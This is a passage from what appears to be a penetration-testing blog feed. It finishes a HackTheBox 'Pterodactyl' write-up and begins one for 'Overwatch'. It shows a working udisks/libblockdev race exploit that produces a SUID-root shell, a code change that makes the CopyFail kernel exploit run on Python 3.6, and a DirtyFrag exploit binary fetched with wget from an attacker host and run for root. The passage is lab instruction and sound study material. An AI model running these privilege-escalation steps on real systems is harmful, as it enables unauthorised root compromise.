<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>udisksctl unmount <span class="nt">-b</span> /dev/loop0
<span class="go">Unmounted /dev/loop0.
</span></code></pre></div></div>

<p>The user-visible mount goes through udisks’s mount handler, which adds <code class="language-plaintext highlighter-rouge">nosuid,nodev</code> to stop tricks like this. CVE-2025-6019 is in the resize path. When udisks asks libblockdev to resize an XFS volume, libblockdev mounts the filesystem internally at <code class="language-plaintext highlighter-rouge">/tmp/blockdev.XXXXXX</code> to run the resize tooling, and that internal mount doesn’t carry udisks’s security flags. For the duration of the resize, the filesystem is live with full SUID semantics. The plan is to win that window. I’ll drop a SUID-root shell into the image, fire the resize, and execute it from the temp directory before the resize unwinds.</p>

<p>First I’ll check the format of the temp directory by starting a watcher in one SSH session and triggering a resize from another:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>gdbus call <span class="nt">--system</span> <span class="nt">--dest</span> org.freedesktop.UDisks2 <span class="nt">--object-path</span> /org/freedesktop/UDisks2/block_devices/loop0 <span class="nt">--method</span> org.freedesktop.UDisks2.Filesystem.Resize 0 <span class="s1">'{}'</span>
</code></pre></div></div>

<p>The watcher catches the format:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do </span>find /tmp /run /var/tmp <span class="nt">-maxdepth</span> 3 <span class="nt">-type</span> d <span class="se">\(</span> <span class="nt">-name</span> <span class="s1">'*resize*'</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s1">'*blockdev*'</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s1">'temp-*'</span> <span class="nt">-o</span> <span class="nt">-name</span> <span class="s1">'.*-XXX*'</span> <span class="se">\)</span> 2&gt;/dev/null<span class="p">;</span> <span class="k">done</span> | <span class="nb">awk</span> <span class="s1">'!seen[$0]++'</span>
<span class="go">/tmp/blockdev.VY5KP
</span></code></pre></div></div>

<p>That resize and watcher loop leaked the format and location of the temporary mount. Now I can create a new watcher that will attempt to abuse this the next time I resize:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
    for </span>d <span class="k">in</span> /tmp/blockdev.<span class="k">*</span><span class="p">;</span> <span class="k">do
      if</span> <span class="o">[</span> <span class="nt">-x</span> <span class="s2">"</span><span class="nv">$d</span><span class="s2">/rootbash"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="s2">"</span><span class="nv">$d</span><span class="s2">/rootbash"</span> <span class="nt">-p</span> <span class="nt">-c</span> <span class="se">\</span>
        <span class="s1">'cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 4755 /tmp/0xdf; echo PWNED'</span> 2&gt;/dev/null
      <span class="k">then
        </span><span class="nb">break </span>2
      <span class="k">fi
    done
  done</span>
</code></pre></div></div>

<p>The next resize gives the loop its window. <code class="language-plaintext highlighter-rouge">rootbash</code> becomes briefly executable as root inside <code class="language-plaintext highlighter-rouge">/tmp/blockdev.XXXXXX</code>, and the loop uses it to copy <code class="language-plaintext highlighter-rouge">bash</code> to <code class="language-plaintext highlighter-rouge">/tmp/0xdf</code> and make that copy SUID-root too. From the other session I fire the same gdbus resize as before, and the watcher prints PWNED:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do</span>
<span class="gp">&gt; </span><span class="w">  </span><span class="k">for </span>d <span class="k">in</span> /tmp/blockdev.<span class="k">*</span><span class="p">;</span> <span class="k">do</span>
<span class="gp">&gt; </span><span class="w">    </span><span class="k">if</span> <span class="o">[</span> <span class="nt">-x</span> <span class="s2">"</span><span class="nv">$d</span><span class="s2">/rootbash"</span> <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="s2">"</span><span class="nv">$d</span><span class="s2">/rootbash"</span> <span class="nt">-p</span> <span class="nt">-c</span> <span class="se">\</span>
<span class="gp">&gt; </span><span class="w">      </span><span class="s1">'cp /bin/bash /tmp/0xdf; chown root:root /tmp/0xdf; chmod 4755 /tmp/0xdf; echo PWNED'</span> 2&gt;/dev/null
<span class="gp">&gt; </span><span class="w">    </span><span class="k">then</span>
<span class="gp">&gt; </span><span class="w">      </span><span class="nb">break </span>2
<span class="gp">&gt; </span><span class="w">    </span><span class="k">fi</span>
<span class="gp">&gt; </span><span class="w">  </span><span class="k">done</span>
<span class="gp">&gt; </span><span class="k">done</span>
<span class="go">PWNED
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/tmp/0xdf</code> gives a root shell (with <code class="language-plaintext highlighter-rouge">-p</code> to not drop privs):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>/tmp/0xdf <span class="nt">-p</span>
<span class="gp">0xdf-4.4#</span><span class="w">
</span></code></pre></div></div>

<p>And the root flag:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">0xdf-4.4# </span><span class="nb">cat </span>root.txt
<span class="go">665fe940************************
</span></code></pre></div></div>

<h2 id="beyond-root">Beyond Root</h2>

<h3 id="background-2">Background</h3>

<p>There have been two big Linux privesc vulns released over the last few weeks, <a href="https://copy.fail/">CopyFail</a> and <a href="https://github.com/V4bel/dirtyfrag">DirtyFrag</a>. Both are exploits that get a write primitive into cached memory and overwrite a sensitive file to get execution as root. Both of them provide POC exploits that don’t quite work out of the box on Pterodactyl. I’ll use Beyond Root today to get both working here and explore a bit.</p>

<h3 id="copy-fail">Copy Fail</h3>

<h4 id="background-3">Background</h4>

<p>The <a href="https://copy.fail/">CopyFail</a> website describes it as:</p>

<blockquote>
  <p>One logic bug in <code class="language-plaintext highlighter-rouge">authencesn</code>, chained through <code class="language-plaintext highlighter-rouge">AF_ALG</code> and <code class="language-plaintext highlighter-rouge">splice()</code> into a 4-byte page-cache write — silently exploitable for nearly a decade.</p>
</blockquote>

<p>I made a <a href="https://www.youtube.com/watch?v=wQ914geKOcw">video</a> diving into this and showing it run on <a href="/2026/04/01/htb-snapped.html">HTB Snapped</a>:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/wQ914geKOcw?si=37UCbGHC_htu1Ka7" title="YouTube video player" style="border: 0px;" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>The POC for this one was very much code-golfed down to 732 bytes, which makes it unreadable. I’ll use the <a href="https://github.com/0xdf223/copy-fail-CVE-2026-31431">deobfuscated copy</a> I made.</p>

<h4 id="on-pterodactyl">On Pterodactyl</h4>

<p>I’ll copy the exploit and from an SSH session as phileasfogg3, use <code class="language-plaintext highlighter-rouge">vim</code> to save a copy. When I run it, it fails:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>python3 copyfail.py 
<span class="go">Traceback (most recent call last):
  File "copyfail.py", line 110, in &lt;module&gt;
    main()
  File "copyfail.py", line 100, in main
    overwrite_chunk(fd, i, PATCH_ELF[i:i + AUTH_SIZE])
  File "copyfail.py", line 82, in overwrite_chunk
    os.splice(file_fd, pipe_w, splice_len, offset_src=0)
AttributeError: module 'os' has no attribute 'splice'
</span></code></pre></div></div>

<p>Interestingly, searching for this error, the top results are all about Copy Fail:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260512071918564.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260512071918564.png" alt="image-20260512071918564" class="include_image " />
</picture>

<p>The Python <a href="https://docs.python.org/3/library/os.html#os.splice">documentation</a> on the <code class="language-plaintext highlighter-rouge">os</code> module shows that <code class="language-plaintext highlighter-rouge">splice</code> was added in Python 3.10:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260512071316776.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260512071316776.png" alt="image-20260512071316776" class="include_image " />
</picture>

<p>Pterodactyl is running Python 3.6:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>python3 <span class="nt">-V</span>
<span class="go">Python 3.6.15
</span></code></pre></div></div>

<p>Luckily, this is a quick fix. There’s a C version of the exploit that has direct access to the <code class="language-plaintext highlighter-rouge">splice</code> system call through GLIBC, or there are many Python versions out there that are updated to work around this. I like <a href="https://github.com/theori-io/copy-fail-CVE-2026-31431/pull/117">this one</a> from mohammadali-davarzani, which simply changes the <code class="language-plaintext highlighter-rouge">splice</code> call into the pipe to a <code class="language-plaintext highlighter-rouge">os.sendfile</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260512072530500.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260512072530500.png" alt="image-20260512072530500" class="include_image " />
</picture>

<p>This works because under the hood, <code class="language-plaintext highlighter-rouge">sendfile()</code> is implemented in modern Linux kernels using the exact same <code class="language-plaintext highlighter-rouge">splice()</code> machinery, setting up an internal kernel-managed pipe and copying page-cache references (not byte copies) from the file into the destination socket.</p>

<p>In my code, the change looks like:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="c1">#pipe_r, pipe_w = os.pipe()
</span>    <span class="c1">#os.splice(file_fd, pipe_w, splice_len, offset_src=0)
</span>    <span class="c1">#os.splice(pipe_r, op_sock.fileno(), splice_len)
</span>    <span class="n">os</span><span class="p">.</span><span class="nf">sendfile</span><span class="p">(</span><span class="n">op_sock</span><span class="p">.</span><span class="nf">fileno</span><span class="p">(),</span> <span class="n">file_fd</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">splice_len</span><span class="p">)</span>

    <span class="k">try</span><span class="p">:</span>
        <span class="n">op_sock</span><span class="p">.</span><span class="nf">recv</span><span class="p">(</span><span class="mi">8</span> <span class="o">+</span> <span class="n">offset</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">OSError</span><span class="p">:</span>
        <span class="k">pass</span>

    <span class="c1">#os.close(pipe_r)
</span>    <span class="c1">#os.close(pipe_w)
</span>    <span class="n">op_sock</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
    <span class="n">sock</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
</code></pre></div></div>

<p>I’m able to remove the pipes entirely, and replace it with a single <code class="language-plaintext highlighter-rouge">os.sendfile</code> call. It works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>python3 copyfail.py 
<span class="gp">pterodactyl:/home/phileasfogg3 #</span><span class="w">
</span></code></pre></div></div>

<p>CopyFail works by overwriting a sensitive file’s page cache (the in-memory copy the kernel hands out) without ever touching disk. The file looks modified to every reader on the system until the cache is dropped. <code class="language-plaintext highlighter-rouge">echo 3 &gt; /proc/sys/vm/drop_caches</code> flushes the page cache so the file goes back to its on-disk contents, which avoids leaving the machine in an insecure state.</p>

<h3 id="dirtyfrag">DirtyFrag</h3>

<h4 id="background-4">Background</h4>

<p><a href="https://github.com/V4bel/dirtyfrag">DirtyFrag</a> describes itself as:</p>

<blockquote>
  <p>This document describes the Dirty Frag vulnerability class, first discovered and reported by <a href="https://x.com/v4bel">Hyunwoo Kim (@v4bel)</a>, which can obtain root privileges on major Linux distributions by chaining the <code class="language-plaintext highlighter-rouge">xfrm-ESP Page-Cache Write (CVE-2026-43284)</code> vulnerability and the <code class="language-plaintext highlighter-rouge">RxRPC Page-Cache Write (CVE-2026-43500)</code> vulnerability.</p>
</blockquote>

<p>I made a <a href="https://www.youtube.com/watch?v=B5eUI_e7iwE">video</a> diving into this vulnerability, the exploit, the drama around its disclosure, and demo it on <a href="/2026/04/01/htb-snapped.html">HTB Snapped</a>:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/B5eUI_e7iwE?si=S4uB6X5LDzqkj_-s" title="YouTube video player" style="border: 0px;" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<h4 id="on-pterodactyl-1">On Pterodactyl</h4>

<p>DirtyFrag just works on Pterodactyl. I had some uncertainly that a binary compiled on my Ubuntu system would run on this openSUSE system, but it did:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>wget 10.10.14.61/exp
<span class="go">Prepended http:// to '10.10.14.61/exp'
--2026-05-12 14:43:05--  http://10.10.14.61/exp
Connecting to 10.10.14.61:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 62320 (61K) [application/octet-stream]
Saving to: ‘exp’

exp                           100%[===============================================&gt;]  60.86K  --.-KB/s    in 0.04s   

2026-05-12 14:43:05 (1.50 MB/s) - ‘exp’ saved [62320/62320]

</span><span class="gp">phileasfogg3@pterodactyl:~&gt; </span><span class="nb">chmod</span> +x exp 
<span class="gp">phileasfogg3@pterodactyl:~&gt; </span>./exp <span class="nt">-v</span>
<span class="go">[su] installed 48 xfrm SAs
[su] wrote 192 bytes to /usr/bin/su starting at 0x0
[su] /usr/bin/su page-cache patched (entry 0x78 = shellcode)
</span><span class="gp">pterodactyl:/home/phileasfogg3 #</span><span class="w">
</span></code></pre></div></div>

<p>The exploit worked and returned a root shell.</p>

<p>The binary has two exploit paths. It tries ESP first and only falls through to RxRPC if ESP fails. ESP needs an unprivileged user namespace, which openSUSE Leap 15.6 ships enabled by default (unlike Ubuntu 23.10+, which restricts unprivileged userns via AppArmor). So as expected, the ESP path works.</p>

<p>I can force it down the RxRPC route, either by running with <code class="language-plaintext highlighter-rouge">--force-rxrpc</code>, or by removing the ability for users to create namespaces as root (and resetting the cache):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">pterodactyl:/home/phileasfogg3 # </span><span class="nb">echo </span>0 <span class="o">&gt;</span> /proc/sys/user/max_user_namespaces
<span class="gp">pterodactyl:/home/phileasfogg3 # </span><span class="nb">echo </span>3 <span class="o">&gt;</span> /proc/sys/vm/drop_caches
</code></pre></div></div>

<p>Running now shows that the ESP path fails, but then it crashes in the RxRPC path:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">phileasfogg3@pterodactyl:~&gt; </span>./exp <span class="nt">-v</span>
<span class="go">[su] unshare: No space left on device
[su] corruption stage failed (status=0x100)

=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===
[*] uid=1002 euid=1002 gid=100
[+] rxrpc module autoloaded via dummy socket(AF_RXRPC)
[+] target /etc/passwd opened RO, size=1505, uid=0 gid=0 mode=0644
[+] mmap'd /etc/passwd page-cache at 0x7f0737840000 (PROT_READ|MAP_SHARED)
[+] /etc/passwd line 1 first 16 bytes:
72 6f 6f 74 3a 78 3a 30 3a 30 3a 72 6f 6f 74 3a 
[*] /etc/passwd line 1 (root entry) BEFORE: 'root:x:0:0:root:/root:/bin/bash$'
[+] Ca @ 4: 3a783a303a303a72 ":x:0:0:r"
[+] Cb @ 6: 3a303a303a726f6f ":0:0:roo"
[+] Cc @ 8: 3a303a726f6f743a ":0:root:"
[+] fcrypt selftest OK

=== STAGE 1a: search K_A (chars 4-5 := "::")  prob ~1.5e-5 ===
[+] K_A found after 110762 iters in 0.03s (3.49M/s) K=3fa4431c479c0ee3  P=3a3ae9c579282a20 "::..y(* "
[+] Cb_actual (after splice A) = e9c579282a206f6f

=== STAGE 1b: search K_B (chars 6-7 := "0:")  prob ~1.5e-5 ===
[+] K_B found after 6287 iters in 0.00s (4.04M/s) K=f3f1fa5e36f497b1  P=303a6c9c4137a9d2 "0:l.A7.."
[+] Cc_actual (after splice B) = 6c9c4137a9d2743a

=== STAGE 1c: search K_C (chars 8-15 := "0:GGGGGG:")  prob ~5.4e-8 ===
[+] K_C found after 28567170 iters in 6.49s (4.40M/s) K=6f316bada7ef8d8b  P=303a1c7d536d403a "0:.}Sm@:"

[+] Predicted post-corruption /etc/passwd line 1:
    "root::0:0:.}Sm@:/root:/bin/bash"

=== STAGE 2a: kernel trigger A @ off 4 (set chars 4-5 "::") ===
[+] plain UDP fake-server bound :7779
[+] AF_RXRPC client bound :7780
Segmentation fault
</span></code></pre></div></div>

<p>I believe this is because the exploit isn’t written to work on this kernel. The RxRPC variant of the exploit hardcodes internal kernel struct offsets that were derived from upstream-ish kernels. I suspect that the author didn’t tune for this kernel since the vast majority of openSUSE targets will be vulnerable to the ESP path.</p>]]></content><author><name></name></author><category term="ctf" /><category term="hackthebox" /><category term="htb-pterodactyl" /><category term="pentest" /><category term="bug-bounty" /><category term="htb-pterodactyl" /><category term="hackthebox" /><category term="ctf" /><category term="nmap" /><category term="opensuse" /><category term="subdomain" /><category term="ffuf" /><category term="minecraft" /><category term="nginx" /><category term="php" /><category term="php-fpm" /><category term="phpinfo" /><category term="feroxbuster" /><category term="laravel" /><category term="pterodactyl-panel" /><category term="cve-2025-49132" /><category term="source-code" /><category term="directory-traversal" /><category term="file-read" /><category term="lfi" /><category term="pearcmd" /><category term="register-argc-argv" /><category term="rce" /><category term="webshell" /><category term="mariadb" /><category term="bcrypt" /><category term="hashcat" /><category term="password-reuse" /><category term="su" /><category term="sudo" /><category term="udisks2" /><category term="cve-2025-8067" /><category term="cve-2025-6018" /><category term="pam" /><category term="pam-environment" /><category term="physically-present-bypass" /><category term="polkit" /><category term="cve-2025-6019" /><category term="libblockdev" /><category term="xfs" /><category term="loop-device" /><category term="setuid" /><category term="dbus" /><category term="copy-fail" /><category term="cve-2026-31431" /><category term="python" /><category term="dirty-frag" /><category term="cve-2026-43284" /><category term="cve-2026-43500" /><category term="htb-snapped" /><summary type="html"><![CDATA[Pterodactyl hosts a Minecraft community site alongside an instance of the Pterodactyl game-server management panel. I’ll exploit an unauthenticated directory traversal in the panel’s locale endpoint that gets PHP to include arbitrary files on disk, and chain it with the classic PEAR pearcmd technique to write and execute a webshell. From there I’ll read database credentials, crack a bcrypt hash, and pivot to a user who reuses that password. The box runs openSUSE, where I’ll abuse a PAM environment-variable flaw to convince Polkit I’m a local console session, then exploit a libblockdev/udisks vulnerability to mount a crafted XFS image carrying a SetUID-root shell and escalate to root. In Beyond Root, I’ll get CopyFail and DirtyFrag (two recent Linux kernel page-cache privilege-escalation exploits) working on the host.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-cover.png" /><media:content medium="image" url="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/pterodactyl-cover.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HTB: Overwatch</title><link href="https://0xdf.gitlab.io/2026/05/09/htb-overwatch.html" rel="alternate" type="text/html" title="HTB: Overwatch" /><published>2026-05-09T13:45:00+00:00</published><updated>2026-05-09T13:45:00+00:00</updated><id>https://0xdf.gitlab.io/2026/05/09/htb-overwatch</id><content type="html" xml:base="https://0xdf.gitlab.io/2026/05/09/htb-overwatch.html"><![CDATA[<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-cover.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-cover.png" alt="Overwatch" style="float: right; margin-right:50px; margin-left:50px; height:150px;" class="include_image " />
</picture>
<p>Overwatch starts with anonymous SMB access to a software share that hosts a custom .NET monitoring binary. I’ll reverse engineer it to recover SQL Server credentials and identify a WCF service with a PowerShell command injection sink. With the SQL creds, I’ll find a linked server pointing to a non-resolving host and abuse CREATE_CHILD on the AD-integrated DNS zone to add a record pointing the hostname at my host, capturing cleartext SQL authentication with Responder when the linked server connects out. Those credentials provide WinRM as a user in Remote Management Users. From there, I’ll exploit the WCF KillProcess command injection on a localhost SOAP endpoint to get code execution as SYSTEM, demonstrating four different ways to interact with the WCF service. In Beyond Root, I’ll look at a log that captured the Windows Administrator password from an HTB pre-release cleanup script.</p>

<h2 id="box-info">Box Info</h2>

<!-- https://app.hackthebox.com/machines/826 -->

<div class="htb-card platform-htb">
  <div class="htb-card-header">
    <div class="htb-box-info">
      <a href="https://hackthebox.com/machines/overwatch" target="_blank" class="htb-box-icon">
        <picture>
          <source type="image/webp" srcset="/icons/box-overwatch.webp" />
          <img src="/icons/box-overwatch.png" alt="Overwatch" />
        </picture>
      </a>
      <div class="htb-box-title">
        <a href="https://hackthebox.com/machines/overwatch" target="_blank" class="htb-box-name">Overwatch</a>
      </div>
    </div><div class="htb-difficulty-badge diff-Medium">
      Medium
    </div>
  </div>

  <div class="htb-card-body">
    <div class="htb-meta-grid">
      <div class="htb-meta-item">
        <span class="htb-meta-label">Release Date</span>
        <span class="htb-meta-value">
          
          <a href="https://twitter.com/hackthebox_eu/status/2014367740128018530">24 Jan 2026</a>
        </span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">Retire Date</span>
        <span class="htb-meta-value">09 May 2026</span>
      </div>
      
      <div class="htb-meta-item">
        <span class="htb-meta-label">OS</span>
        <span class="htb-meta-value htb-os">
          <picture><source type="image/webp" srcset="/icons/Windows.webp" /><img src="/icons/Windows.png" alt="Windows" /></picture>
          Windows
        </span>
      </div>
    </div>

    <div class="htb-cards">
      
      <div class="htb-card-row htb-card-green">
        <span class="htb-card-label">Rated Difficulty</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-diff.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-diff.png" alt="Rated difficulty for Overwatch" class="htb-diff-img" />
        </picture>
      </div>
      <div class="htb-card-row htb-card-green htb-card-tall">
        <span class="htb-card-label">Radar Graph</span>
        <picture>
          <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-radar.webp" />
          <img src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/overwatch-radar.png" alt="Radar chart for Overwatch" class="htb-radar-img" />
        </picture>
      </div>
      
      
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M12.4256 10.0001C11.9254 10.0001 11.5003 9.81776 11.1502 9.45318C10.8 9.0886 10.625 8.64589 10.625 8.12505C10.625 7.60422 10.8 7.16151 11.1502 6.79693C11.5003 6.43235 11.9254 6.25005 12.4256 6.25005C12.9257 6.25005 13.3509 6.43235 13.701 6.79693C14.0511 7.16151 14.2262 7.60422 14.2262 8.12505C14.2262 8.64589 14.0511 9.0886 13.701 9.45318C13.3509 9.81776 12.9257 10.0001 12.4256 10.0001Z" fill="currentColor" /><path d="M8.82438 12.8126V12.5001C8.82438 12.3004 8.87648 12.1116 8.98068 11.9336C9.08488 11.7557 9.22868 11.606 9.41208 11.4844C9.87056 11.2067 10.3553 10.994 10.8662 10.8464C11.3772 10.6988 11.8961 10.6251 12.423 10.6251C12.9499 10.6251 13.4697 10.6988 13.9823 10.8464C14.495 10.994 14.9806 11.2067 15.4391 11.4844C15.6225 11.5973 15.7663 11.7448 15.8705 11.9271C15.9747 12.1094 16.0268 12.3004 16.0268 12.5001V12.8126C16.0268 13.0704 15.9386 13.2911 15.7622 13.4747C15.5857 13.6583 15.3737 13.7501 15.126 13.7501H9.72114C9.47342 13.7501 9.26203 13.6583 9.08697 13.4747C8.91191 13.2911 8.82438 13.0704 8.82438 12.8126Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">User</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:38:59</span></span><a href="https://app.hackthebox.com/users/187281" target="_blank" rel="noopener"><img alt="gumby" src="https://www.hackthebox.com/badge/image/187281" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> gumby</span></a><br /></div>
      </div>
      <div class="htb-card-row htb-card-red">
        <div class="htb-blood-chip">
          <svg width="20" height="20" viewBox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M9.17728 1.8663C9.39181 1.53976 9.75455 1.36377 10.1194 1.36377C10.4845 1.36377 10.8474 1.53992 11.0619 1.86677C11.2785 2.19751 11.5887 2.67967 11.9582 3.25725C12.1814 3.60619 12.0794 4.07 11.7305 4.29319C11.3816 4.51638 10.9178 4.41445 10.6946 4.06551C10.479 3.72853 10.285 3.42614 10.1186 3.16844C9.45753 4.18835 8.37959 5.89633 7.40828 7.656C6.83514 8.69432 6.30663 9.73721 5.92344 10.6594C5.52883 11.609 5.32959 12.3362 5.32959 12.7789C5.32959 15.1536 7.4206 17.172 10.1194 17.172C11.6175 17.172 12.9428 16.5425 13.8158 15.5721C14.0929 15.2641 14.5671 15.239 14.875 15.5161C15.183 15.7931 15.208 16.2673 14.931 16.5753C13.7716 17.8641 12.0399 18.672 10.1194 18.672C6.69911 18.672 3.82959 16.0851 3.82959 12.7789C3.82959 12.0155 4.13669 11.0502 4.53827 10.0838C4.95126 9.08991 5.50879 7.99321 6.09505 6.93112C7.26832 4.80557 8.58701 2.76434 9.17728 1.8663Z" fill="currentColor" /><path d="M10.7 13.5H9.3V12.1H10.7V13.5ZM10.7 10.7H9.3V6.5H10.7V10.7Z" fill="currentColor" /></svg>
          <span class="htb-blood-label">Root</span>
        </div>
        <div class="htb-blood-info">
          <span class="htb-blood-time"><span class="htb-blood-clock">00:54:15</span></span><a href="https://app.hackthebox.com/users/2070259" target="_blank" rel="noopener"><img alt="admiin" src="https://www.hackthebox.com/badge/image/2070259" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> admiin</span></a><br /></div>
      </div>
      
      <div class="htb-card-row htb-card-blue">
        <span class="htb-card-label">Creator</span>
        
<a href="https://app.hackthebox.com/users/13569" target="_blank" rel="noopener"><img alt="xct" src="https://www.hackthebox.com/badge/image/13569" style="display: unset" onerror="this.style.display='none'; this.nextSibling.style.display='inline';" /><span class="user-text" style="display: none"> xct</span></a><br />
      </div>
    </div>

    
  </div>
</div>
<h2 id="recon">Recon</h2>

<h3 id="initial-scanning">Initial Scanning</h3>

<p><code class="language-plaintext highlighter-rouge">nmap</code> finds 22 open TCP ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">sudo </span>nmap <span class="nt">-p-</span> <span class="nt">-vvv</span> <span class="nt">--min-rate</span> 10000 10.129.244.81
<span class="go">Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-24 19:43 UTC
...[snip]...
Nmap scan report for 10.129.244.81
Host is up, received echo-reply ttl 127 (0.021s latency).
Scanned at 2026-04-24 19:43:29 UTC for 14s
Not shown: 65513 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
3389/tcp  open  ms-wbt-server    syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
6520/tcp  open  unknown          syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49664/tcp open  unknown          syn-ack ttl 127
